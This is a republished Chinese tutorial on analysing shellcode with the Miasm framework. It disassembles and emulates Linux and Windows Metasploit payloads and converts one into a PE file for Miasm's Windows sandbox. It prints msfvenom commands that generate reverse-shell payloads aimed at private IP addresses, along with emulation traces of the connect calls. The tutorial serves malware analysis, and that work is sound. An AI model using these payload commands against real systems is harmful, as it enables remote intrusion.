千家信息网

怎么使用Miasm分析Shellcode

发表于:2024-11-25 作者:千家信息网编辑
千家信息网最后更新 2024年11月25日,这篇文章主要介绍"怎么使用Miasm分析Shellcode",在日常操作中,相信很多人在怎么使用Miasm分析Shellcode问题上存在疑惑,小编查阅了各式资料,整理出简单好用的操作方法,希望对大家
千家信息网最后更新 2024年11月25日怎么使用Miasm分析Shellcode

这篇文章主要介绍"怎么使用Miasm分析Shellcode",在日常操作中,相信很多人在怎么使用Miasm分析Shellcode问题上存在疑惑,小编查阅了各式资料,整理出简单好用的操作方法,希望对大家解答"怎么使用Miasm分析Shellcode"的疑惑有所帮助!接下来,请跟着小编一起来学习吧!

Linux Shellcode

让我们从Linux shellcode开始,因为它们不如Windows shellcode复杂。

msfvenom -p linux/x86/exec CMD=/bin/ls -a x86 --platform linux -f raw > sc_linux1

让我们用miasm反汇编shellcode:

from miasm.analysis.binary import Containerfrom miasm.analysis.machine import Machinewith open("sc_linux1", "rb") as f:    buf = f.read()container = Container.from_string(buf)machine = Machine('x86_32')mdis = machine.dis_engine(container.bin_stream)mdis.follow_call = True # Follow callsmdis.dontdis_retcall = True # Don't disassemble after callsdisasm = mdis.dis_multiblock(offset=0)print(disasm)

我们得到以下代码:

loc_key_0PUSH       0xBPOP        EAXCDQPUSH       EDXPUSHW      0x632DMOV        EDI, ESPPUSH       0x68732FPUSH       0x6E69622FMOV        EBX, ESPPUSH       EDXCALL       loc_key_1->c_to:loc_key_1loc_key_1PUSH       EDIPUSH       EBXMOV        ECX, ESPINT        0x80[SNIP]

这里没有什么奇怪的,INT 0x80正在调用系统,并且系统调用代码在第一行移至EAX,0xB是的代码execve。我们可以CALL loc_key_1通过在指令地址+大小和的地址之间取数据来轻松获得数据后的地址loc_key1:

> inst = list(disasm.blocks)[0].lines[10] # Instruction 10 of block 0> print(buf[inst.offset+inst.l:disasm.loc_db.offsets[1]])b'/bin/ls\x00'

接下来我们再来一个更复杂的shellcode:

msfvenom -p linux/x86/shell/reverse_tcp LHOST=10.2.2.14 LPORT=1234 -f raw > sc_linux2

该代码中有条件跳转,我们换成图形化来阅读:

from miasm.analysis.binary import Containerfrom miasm.analysis.machine import Machinewith open("sc_linux2", "rb") as f:    buf = f.read()container = Container.from_string(buf)machine = Machine('x86_32')mdis = machine.dis_engine(container.bin_stream)mdis.follow_call = True # Follow callsmdis.dontdis_retcall = True # Don't disassemble after callsdisasm = mdis.dis_multiblock(offset=0)open('bin_cfg.dot', 'w').write(disasm.dot())

要想从静态就理解有点困难,因此让我们看看是否可以使用miasm来模拟它。

模拟指令非常容易:

from miasm.analysis.machine import Machinefrom miasm.jitter.csts import PAGE_READ, PAGE_WRITEmyjit = Machine("x86_32").jitter("python")myjit.init_stack()data = open('sc_linux2', 'rb').read()run_addr = 0x40000000myjit.vm.add_memory_page(run_addr, PAGE_READ | PAGE_WRITE, data)myjit.set_trace_log()myjit.run(run_addr)

Miasm模拟所有指令,直到我们到达第一个int 0x80调用为止:

40000000 PUSH       0xAEAX 00000000 EBX 00000000 ECX 00000000 EDX 00000000 ESI 00000000 EDI 00000000 ESP 0123FFFC EBP 00000000 EIP 40000002 zf 0 nf 0 of 0 cf 040000002 POP        ESIEAX 00000000 EBX 00000000 ECX 00000000 EDX 00000000 ESI 0000000A EDI 00000000 ESP 01240000 EBP 00000000 EIP 40000003 zf 0 nf 0 of 0 cf 0[SNIP]40000010 INT        0x80EAX 00000066 EBX 00000001 ECX 0123FFF4 EDX 00000000 ESI 0000000A EDI 00000000 ESP 0123FFF4 EBP 00000000 EIP 40000012 zf 0 nf 0 of 0 cf 0Traceback (most recent call last):  File "linux1.py", line 11, in myjit.run(run_addr)  File "/home/user/tools/malware/miasm/miasm/jitter/jitload.py", line 423, in run    return self.continue_run()  File "/home/user/tools/malware/miasm/miasm/jitter/jitload.py", line 405, in continue_run    return next(self.run_iterator)  File "/home/user/tools/malware/miasm/miasm/jitter/jitload.py", line 373, in runiter_once    assert(self.get_exception() == 0)AssertionError

默认情况下,miasm计算机不执行系统调用,但是可以为该异常添加异常处理程序EXCEPT_INT_XX(EXCEPT_SYSCALL对于Linux x86_64)并自己实现。让我们先打印系统调用号码:

from miasm.jitter.csts import PAGE_READ, PAGE_WRITE, EXCEPT_INT_XXfrom miasm.analysis.machine import Machinedef exception_int(jitter):    print("Syscall: {}".format(jitter.cpu.EAX))    return Truemyjit = Machine("x86_32").jitter("python")myjit.init_stack()data = open('sc_linux2', 'rb').read()run_addr = 0x40000000myjit.vm.add_memory_page(run_addr, PAGE_READ | PAGE_WRITE, data)myjit.add_exception_handler(EXCEPT_INT_XX, exception_int)myjit.run(run_addr)

这给了我们系统调用:

Syscall: 102Syscall: 102

在意识到miasm已经集成了多个syscall实现和使它们由虚拟机执行的方法之前,我开始重新实现 shellcode经常使用的一些syscall。我已经提交了一些额外的系统调用的PR,然后我们可以模拟shellcode:

myjit = Machine("x86_32").jitter("python")myjit.init_stack()data = open("sc_linux2", 'rb').read()run_addr = 0x40000000myjit.vm.add_memory_page(run_addr, PAGE_READ | PAGE_WRITE, data)log = logging.getLogger('syscalls')log.setLevel(logging.DEBUG)env = environment.LinuxEnvironment_x86_32()syscall.enable_syscall_handling(myjit, env, syscall.syscall_callbacks_x86_32)myjit.run(run_addr)

我们得到以下syscall跟踪:

[DEBUG   ]: socket(AF_INET, SOCK_STREAM, 0)[DEBUG   ]: -> 3[DEBUG   ]: connect(fd, [AF_INET, 1234, 10.2.2.14], 102)[DEBUG   ]: -> 0[DEBUG   ]: sys_mprotect(123f000, 1000, 7)[DEBUG   ]: -> 0[DEBUG   ]: sys_read(3, 123ffe4, 24)

因此,使用miasm分析linux shellcode非常容易,您可以使用此脚本。

windows

由于无法在Windows上对系统调用指令,因此Windows Shellcode需要使用共享库中的函数,这需要使用LoadLibrary和GetProcAddress加载它们,后者首先需要在kernel32.dll DLL文件中找到这两个函数地址。记忆。

让我们用metasploit生成第一个shellcode:

msfvenom -a x86 --platform Windows -p windows/shell_reverse_tcp LHOST=192.168.56.1 LPORT=443   -f raw > sc_windows1

我们可以使用上面用于Linux的完全相同的代码来生成调用图:

在这里,我们看到了大多数shellcode用来获取其自身地址的技巧之一,CALL就是将下一条指令的地址压入堆栈,然后将其存储在EBP中POP。因此CALL EBP,最后一条指令的,就是在第一次调用之后立即调用该指令。而且由于此处仅使用静态分析,所以miasm无法知道EBP中的地址。

我们仍然可以在第一次调用后手动反汇编代码:

inst = inst = list(disasm.blocks)[0].lines[1] # We get the second line of the first blocknext_addr = inst.offset + inst.l # offset + size of the instructiondisasm = mdis.dis_multiblock(offset=next_addr)open('bin_cfg.dot', 'w').write(disasm.dot())

在这里,我们看到的shellcode首先通过以下寻找KERNEL32的地址PEB,PEB_LDR_DATA并LDR_DATA_TABLE_ENTRY在内存中的结构。让我们模拟一下:

from miasm.jitter.csts import PAGE_READ, PAGE_WRITEfrom miasm.analysis.machine import Machinedef code_sentinelle(jitter):    jitter.run = False    jitter.pc = 0    return Truemyjit = Machine("x86_32").jitter("python")myjit.init_stack()data = open("sc_windows1", 'rb').read()run_addr = 0x40000000myjit.vm.add_memory_page(run_addr, PAGE_READ | PAGE_WRITE, data)myjit.set_trace_log()myjit.push_uint32_t(0x1337beef)myjit.add_breakpoint(0x1337beef, code_sentinelle)myjit.run(run_addr)40000000 CLDEAX 00000000 EBX 00000000 ECX 00000000 EDX 00000000 ESI 00000000 EDI 00000000 ESP 0123FFFC EBP 00000000 EIP 40000001 zf 0 nf 0 of 0 cf 040000001 CALL       loc_40000088EAX 00000000 EBX 00000000 ECX 00000000 EDX 00000000 ESI 00000000 EDI 00000000 ESP 0123FFF8 EBP 00000000 EIP 40000088 zf 0 nf 0 of 0 cf 040000088 POP        EBPEAX 00000000 EBX 00000000 ECX 00000000 EDX 00000000 ESI 00000000 EDI 00000000 ESP 0123FFFC EBP 40000006 EIP 40000089 zf 0 nf 0 of 0 cf 040000089 PUSH       0x3233EAX 00000000 EBX 00000000 ECX 00000000 EDX 00000000 ESI 00000000 EDI 00000000 ESP 0123FFF8 EBP 40000006 EIP 4000008E zf 0 nf 0 of 0 cf 0[SNIP]4000000B MOV        EDX, DWORD PTR FS:[EAX + 0x30]WARNING: address 0x30 is not mapped in virtual memory:Traceback (most recent call last):[SNIP]RuntimeError: Cannot find address

一直进行到到达为止MOV EDX, DWORD PTR FS:[EAX + 0x30],此指令从内存中的FS段获取TEB结构地址。但是在这种情况下,miasm仅模拟代码,而未在内存中加载任何系统段。为此,我们需要使用miasm的完整Windows Sandbox,但是这些VM仅运行PE文件,因此,我们首先使用简短的脚本使用lief将shellcode转换为完整的PE文件:

from lief import PEwith open("sc_windows1", "rb") as f:    data = f.read()binary32 = PE.Binary("pe_from_scratch", PE.PE_TYPE.PE32)section_text                 = PE.Section(".text")section_text.content         = [c for c in data] # Take a list(int)section_text.virtual_address = 0x1000section_text = binary32.add_section(section_text, PE.SECTION_TYPES.TEXT)binary32.optional_header.addressof_entrypoint = section_text.virtual_addressbuilder = PE.Builder(binary32)builder.build_imports(True)builder.build()builder.write("sc_windows1.exe")

现在,让我们使用一个miasm沙箱来运行此PE,该沙箱可以选择use-windows-structs将Windows结构加载到内存中(请参见此处的代码):

from miasm.analysis.sandbox import Sandbox_Win_x86_32class Options():    def __init__(self):        self.use_windows_structs = True        self.jitter = "gcc"        #self.singlestep = True        self.usesegm = True        self.load_hdr = True        self.loadbasedll = True    def __getattr__(self, name):        return Noneoptions = Options()# Create sandboxsb = Sandbox_Win_x86_32("sc_windows1.exe", options, globals())sb.run()assert(sb.jitter.run is False)

该选项loadbasedll是基于名为的文件夹中的现有dll将DLL结构加载到内存中win_dll(您需要Windows x86_32 DLL)。执行后,出现以下崩溃:

[SNIP][INFO    ]: kernel32_LoadLibrary(dllname=0x13ffe8) ret addr: 0x40109b[WARNING ]: warning adding .dll to modulename[WARNING ]: ws2_32.dllTraceback (most recent call last):  File "windows4.py", line 18, in sb.run()    [SNIP]  File "/home/user/tools/malware/miasm/miasm/jitter/jitload.py", line 479, in handle_lib    raise ValueError('unknown api', hex(jitter.pc), repr(fname))ValueError: ('unknown api', '0x71ab6a55', "'ws2_32_WSAStartup'")

如果我们查看文件jitload.py,它实际上调用了在win_api_x86_32.py中实现的DLL函数,并且我们看到kernel32_LoadLibrary确实实现了该函数,但没有实现WSAStartup,因此我们需要自己实现它。

Miasm实际上使用了一个非常聪明的技巧来简化新库的实现,沙盒接受附加功能的参数,默认情况下使用调用globals()。这意味着我们只需要在代码中定义一个具有正确名称的函数,它就可以直接作为系统函数使用。让我们尝试ws2_32_WSAStartup:

def ws2_32_WSAStartup(jitter):    print("WSAStartup(wVersionRequired, lpWSAData)")    ret_ad, args = jitter.func_args_stdcall(["wVersionRequired", "lpWSAData"])    jitter.func_ret_stdcall(ret_ad, 0)

现在我们得到:

INFO    ]: kernel32_LoadLibrary(dllname=0x13ffe8) ret addr: 0x40109b[WARNING ]: warning adding .dll to modulename[WARNING ]: ws2_32.dllWSAStartup(wVersionRequired, lpWSAData)Traceback (most recent call last):[SNIP]  File "/home/user/tools/malware/miasm/miasm/jitter/jitload.py", line 479, in handle_lib    raise ValueError('unknown api', hex(jitter.pc), repr(fname))ValueError: ('unknown api', '0x71ab8b6a', "'ws2_32_WSASocketA'")

我们可以继续这种方式,并逐一实现shellcode调用的几个函数:

def ws2_32_WSASocketA(jitter):    """    SOCKET WSAAPI WSASocketA(        int                 af,        int                 type,        int                 protocol,        LPWSAPROTOCOL_INFOA lpProtocolInfo,        GROUP               g,        DWORD               dwFlags    );    """    ADDRESS_FAM = {2: "AF_INET", 23: "AF_INET6"}    TYPES = {1: "SOCK_STREAM", 2: "SOCK_DGRAM"}    PROTOCOLS = {0: "Whatever", 6: "TCP", 17: "UDP"}    ret_ad, args = jitter.func_args_stdcall(["af", "type", "protocol", "lpProtocolInfo", "g", "dwFlags"])    print("WSASocketA({}, {}, {}, ...)".format(        ADDRESS_FAM[args.af],        TYPES[args.type],        PROTOCOLS[args.protocol]    ))    jitter.func_ret_stdcall(ret_ad, 14)def ws2_32_connect(jitter):    ret_ad, args = jitter.func_args_stdcall(["s", "name", "namelen"])    sockaddr = jitter.vm.get_mem(args.name, args.namelen)    family = struct.unpack("H", sockaddr[0:2])[0]    if family == 2:        port = struct.unpack(">H", sockaddr[2:4])[0]        ip = ".".join([str(i) for i in struct.unpack("BBBB", sockaddr[4:8])])        print("socket_connect(fd, [{}, {}, {}], {})".format("AF_INET", port, ip, args.namelen))    else:        print("connect()")    jitter.func_ret_stdcall(ret_ad, 0)def kernel32_CreateProcessA(jitter):    ret_ad, args = jitter.func_args_stdcall(["lpApplicationName", "lpCommandLine", "lpProcessAttributes", "lpThreadAttributes", "bInheritHandles", "dwCreationFlags", "lpEnvironment", "lpCurrentDirectory", "lpStartupInfo", "lpProcessInformation"])    jitter.func_ret_stdcall(ret_ad, 0)def kernel32_ExitProcess(jitter):    ret_ad, args = jitter.func_args_stdcall(["uExitCode"])    jitter.func_ret_stdcall(ret_ad, 0)    jitter.run = False

最后,我们对shellcode进行了完整的模拟:

[INFO    ]: Add module 400000 'sc_windows1.exe'[INFO    ]: Add module 7c900000 'ntdll.dll'[INFO    ]: Add module 7c800000 'kernel32.dll'[INFO    ]: Add module 7e410000 'use***.dll'[INFO    ]: Add module 774e0000 'ole32.dll'[INFO    ]: Add module 7e1e0000 'urlmon.dll'[INFO    ]: Add module 71ab0000 'ws2_32.dll'[INFO    ]: Add module 77dd0000 'advapi32.dll'[INFO    ]: Add module 76bf0000 'psapi.dll'[INFO    ]: kernel32_LoadLibrary(dllname=0x13ffe8) ret addr: 0x40109b[WARNING ]: warning adding .dll to modulename[WARNING ]: ws2_32.dllWSAStartup(wVersionRequired, lpWSAData)[INFO    ]: ws2_32_WSAStartup(wVersionRequired=0x190, lpWSAData=0x13fe58) ret addr: 0x4010ab[INFO    ]: ws2_32_WSASocketA(af=0x2, type=0x1, protocol=0x0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x0) ret addr: 0x4010baWSASocketA(AF_INET, SOCK_STREAM, Whatever, ...)[INFO    ]: ws2_32_connect(s=0xe, name=0x13fe4c, namelen=0x10) ret addr: 0x4010d4socket_connect(fd, [AF_INET, 443, 192.168.56.1], 16)[INFO    ]: kernel32_CreateProcessA(lpApplicationName=0x0, lpCommandLine=0x13fe48, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0x1, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x13fe04, lpProcessInformation=0x13fdf4) ret addr: 0x401117[INFO    ]: kernel32_WaitForSingleObject(handle=0x0, dwms=0xffffffff) ret addr: 0x401125[INFO    ]: kernel32_GetVersion() ret addr: 0x401131[INFO    ]: kernel32_ExitProcess(uExitCode=0x0) ret addr: 0x401144

到此,关于"怎么使用Miasm分析Shellcode"的学习就结束了,希望能够解决大家的疑惑。理论与实践的搭配能更好的帮助大家学习,快去试试吧!若想继续学习更多相关知识,请继续关注网站,小编会继续努力为大家带来更多实用的文章!

代码 地址 系统 指令 函数 分析 内存 文件 结构 学习 情况 复杂 接下来 实际 实际上 就是 技巧 数据 方法 更多 数据库的安全要保护哪些东西 数据库安全各自的含义是什么 生产安全数据库录入 数据库的安全性及管理 数据库安全策略包含哪些 海淀数据库安全审计系统 建立农村房屋安全信息数据库 易用的数据库客户端支持安全管理 连接数据库失败ssl安全错误 数据库的锁怎样保障安全 六一网络安全主题黑板报 网络安全实训教学大纲 长沙ddns网络服务器收费标准 网络安全征文350字左右 软件开发中专技校学费多少 江阴测试软件开发订做价格 意识形态和网络安全汇报 数据库提取数据三四个表咋办 河北朗德软件开发有限公司 在服务器里如何使用充钱系统 web服务器安全设置方法 南天国服务器 将网络安全融入思政课程必要性 广州客诺网络技术有限公司 网络安全和防范校园伤害 目前最流行的软件开发语言 c 备份sql数据库 报表开发和数据库开发的区别 多玩魔兽数据库7.0 饥荒服务器和客户端用一个核心 码垛机软件开发 网络安全毕业设计方向 深圳无限软件开发价目表 广州拓晟互联网科技有限公司 数据库表可以转成自由表吗 软件开发的普遍原则 华为6g网络技术哪个好 软件开发性能指标测试数值 网站服务器入侵教程 v9备份到云端哪些数据库
0